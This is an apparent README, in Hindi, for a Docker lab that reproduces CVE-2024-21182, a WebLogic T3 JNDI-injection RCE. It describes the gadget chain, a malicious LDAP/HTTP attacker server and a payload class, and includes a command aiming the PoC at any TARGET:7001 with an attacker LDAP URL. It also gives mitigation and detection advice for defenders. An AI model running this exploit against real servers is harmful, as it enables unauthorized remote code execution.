
# CVE-2024-21182 Oracle WebLogic T3/IIOP OpaqueReference JNDI इंजेक्शन के लिए प्रतिलिपि योग्य Docker लैब, जो अनधिकृत RCE की ओर ले जाता है। अधिकृत सुरक्षा परीक्षण और पैच सत्यापन के लिए एक-कमांड validate.sh।
Oracle WebLogic Server के OpaqueReference JNDI-इंजेक्शन भेद्यता परिवार (CVE-2024-21182, CVE-2023-21839 का पैच बायपास) को पुनः उत्पन्न करने और मान्य करने के लिए एक स्व-निहित, एक-कमांड Docker लैब, जो इसे बिना प्रमाणीकरण के रिमोट कोड निष्पादन में बदल देती है।
⚠️ केवल अधिकृत सुरक्षा अनुसंधान, शिक्षा और पैच सत्यापन के लिए। DISCLAIMER देखें। इसे केवल इस लैब या उन सिस्टमों पर चलाएँ जिनके आप स्वामी हैं।
CVE-2024-21182 Oracle WebLogic Server के Core घटक में एक बिना प्रमाणीकरण वाली भेद्यता है, जो T3 / IIOP प्रोटोकॉल (डिफ़ॉल्ट पोर्ट 7001) के माध्यम से पहुँच योग्य है। यह एक हमलावर को सर्वर के JNDI ट्री में एक क्राफ्टेड "reference" ऑब्जेक्ट बाइंड करने और हमलावर-नियंत्रित URL के विरुद्ध सर्वर-साइड JNDI lookup ट्रिगर करने की अनुमति देता है — यह क्लासिक JNDI इंजेक्शन है जो RCE तक बढ़ जाता है।
| CVE | CVE-2024-21182 |
| उत्पाद | Oracle WebLogic Server (Core) |
| प्रभावित (Oracle के अनुसार) | 12.2.1.4.0, 14.1.1.0.0 |
| समाधान | Oracle अक्टूबर 2024 Critical Patch Update |
| वेक्टर | नेटवर्क, बिना प्रमाणीकरण, T3/IIOP (पोर्ट 7001) |
| CISA KEV | हाँ (ज्ञात रूप से वास्तविक दुनिया में शोषित) |
| वर्ग | CVE-2023-21839 (OpaqueReference JNDI इंजेक्शन) का पैच बायपास |
एक WebLogic reference ऑब्जेक्ट को lookup() के दौरान एक ObjectFactory द्वारा सर्वर-साइड पर हल किया जाता है, जो हमलावर द्वारा प्रदान किए गए URL के विरुद्ध एक नेस्टेड JNDI lookup करता है:
weblogic.jndi.internal.WLContextImpl.lookup
→ javax.naming.spi.NamingManager.getObjectInstance
→ weblogic.application.naming.MessageDestinationObjectFactory.getObjectInstance
→ weblogic.application.naming.MessageDestinationReference.lookupMessageDestination (line 62)
→ new InitialContext().lookup( ldap://attacker/… ) ← attacker-controlled, server-side
CVE-2023-21839 इस तक weblogic.jndi.internal.ForeignOpaqueReference के माध्यम से पहुँचा, जिसे Oracle ने तब सुरक्षित कर दिया। CVE-2024-21182 उस सुरक्षा को बायपास करता है weblogic.ejb.container.internal.AggregatableOpaqueReference के माध्यम से उसी विदेशी lookup तक पहुँचकर, जिसका प्राइवेट referent फ़ील्ड रिफ्लेक्टिव रूप से एक weblogic.application.naming.MessageDestinationReference पर सेट किया जाता है।
यह लैब vulhub/weblogic:12.2.1.3-2018 (WebLogic 12.2.1.3, बंडल JDK 1.8.0_151) का उपयोग करता है, क्योंकि यह एकमात्र स्वतंत्र रूप से पुनर्वितरित करने योग्य भेद्य WebLogic इमेज है — जिन संस्करणों को CVE-2024-21182 औपचारिक रूप से सूचीबद्ध करता है (12.2.1.4.0 / 14.1.1.0.0) उनके लिए Oracle लाइसेंस आवश्यक है और उन्हें यहाँ प्रकाशित नहीं किया जा सकता।
परिणाम, ईमानदारी से कहें तो:
OpaqueReference JNDI-इंजेक्शन → RCE भेद्यता वर्ग को ईमानदारी से पुनः उत्पन्न करता है, जिसे सटीक CVE-2024-21182 गैजेट कक्षाओं (AggregatableOpaqueReference + MessageDestinationReference) के साथ प्रयोग किया जाता है।com.sun.jndi.ldap.object.trustURLCodebase=true डिफ़ॉल्ट है (रिमोट कोडबेस क्लास लोडिंग)। आधुनिक JDK पर इंजेक्शन फिर भी चलता है (SSRF), लेकिन RCE के लिए रिमोट कोडबेस के बजाय WebLogic क्लासपाथ पर पहले से मौजूद गैजेट की आवश्यकता होती है।आवश्यकताएँ: Docker + Docker Compose v2। ~3 GB इमेज डाउनलोड। Apple Silicon पर इमेज linux/amd64 एमुलेशन के अंतर्गत चलती है (धीमा कोल्ड बूट, 2–5 मिनट)।
git clone <this-repo>
cd CVE-2024-21182-lab
docker compose up -d # starts: weblogic (:7001) + attacker (LDAP/HTTP)
./validate.sh # waits for boot, fires the exploit, prints PASS/FAIL
./validate.sh की अपेक्षित अंतिम पंक्तियाँ:
[+] RCE CONFIRMED — command executed inside the WebLogic container as:
------------------------------------------------------------
uid=1000(oracle) gid=1000(oracle) groups=1000(oracle)
Linux <id> ... x86_64 GNU/Linux
------------------------------------------------------------
[+] CVE-2024-21182 reproduced (unauthenticated T3 JNDI injection -> RCE)
बंद करने के लिए:
docker compose down
t3://weblogic:7001 ldap://attacker:1389/Evil
PoC client ───────────────────────► WebLogic ──────────────────────────────► attacker (LDAP)
(in weblogic bind() + lookup() (victim) server-side JNDI lookup returns Reference
container) {javaCodeBase=http://attacker:8888/}
│ │
└────────── GET /Exploit.class ◄─────────────┘ (HTTP codebase)
loads + instantiates → static{} runs `id`
poc/CVE_2024_21182.java — T3 क्लाइंट। दुर्भावनापूर्ण AggregatableOpaqueReference बनाता है, उसे bind() करता है, फिर सर्वर-साइड रिज़ॉल्यूशन ट्रिगर करने के लिए lookup() करता है। पैरामीटरीकृत: <t3-host:port> <ldap-url>। इसे validate.sh द्वारा WebLogic कंटेनर के अंदर संकलित किया जाता है, क्योंकि गैजेट कक्षाएँ WebLogic के पूर्ण मॉड्यूल सेट में रहती हैं (पुनर्वितरित करने योग्य थिन क्लाइंट में नहीं), इसलिए यहाँ कोई Oracle jar शामिल नहीं की जाती।exploit/ldap_server.py — न्यूनतम दुर्भावनापूर्ण LDAP सर्वर जो एक JNDI Reference लौटाता है, साथ ही एक HTTP सर्वर जो फ़ैक्टरी क्लास होस्ट करता है। attacker कंटेनर में चलता है, जो WebLogic से सर्विस नाम attacker द्वारा पहुँच योग्य है।exploit/Exploit.java / Exploit.class — पेलोड फ़ैक्टरी (Java 8 बाइटकोड)। इसका स्टैटिक इनिशियलाइज़र id / uname -a चलाता है और आउटपुट को पीड़ित के अंदर /tmp/RCE_PROOF_CVE_2024_21182 में लिखता है। डिज़ाइन से हानिरहित — कमांड बदलने के लिए इसे संपादित करें और exploit/build.sh चलाएँ।आपको दिखने वाला ClassCastException (Exploit cannot be cast to ObjectFactory) अपेक्षित और केवल दिखावटी है — यह स्टैटिक इनिशियलाइज़र (पेलोड) के पहले ही निष्पादित हो जाने के बाद होता है।
PoC को किसी भी T3 एंडपॉइंट पर लक्षित करें जिसका परीक्षण करने के लिए आप अधिकृत हैं:
# from inside a host with the WebLogic thin client, or adapt validate.sh:
java -cp ".:wlthint3client.jar" CVE_2024_21182 TARGET:7001 ldap://YOUR_LDAP:1389/Evil
trustURLCodebase=false है; आपके पास अभी भी SSRF है, और क्लासपाथ गैजेट के माध्यम से RCE संभव हो सकता है।weblogic.security.net.ConnectionFilterImpl) और होस्ट फ़ायरवॉल के साथ T3/IIOP (7001) को प्रतिबंधित करें।com.sun.jndi.ldap.object.trustURLCodebase=false रखें (वर्तमान JDK पर डिफ़ॉल्ट); यह रिमोट-कोडबेस RCE भाग को तोड़ता है (इंजेक्शन भाग को नहीं)।*OpaqueReference प्रकारों का T3 bind।k4it0k1d/CVE-2024-21182weblogic/CVE-2023-21839)OpaqueReference परिवार)यह परियोजना अधिकृत सुरक्षा परीक्षण, रक्षात्मक सत्यापन और शिक्षा के लिए प्रकाशित की गई है। भेद्य सॉफ़्टवेयर एक पृथक Docker लैब में चलता है। इन तकनीकों का उपयोग उन सिस्टमों के विरुद्ध न करें जिनके आप स्वामी नहीं हैं या जिनका परीक्षण करने के लिए आप स्पष्ट रूप से अधिकृत नहीं हैं। लेखक दुरुपयोग के लिए कोई दायित्व स्वीकार नहीं करते। LICENSE देखें।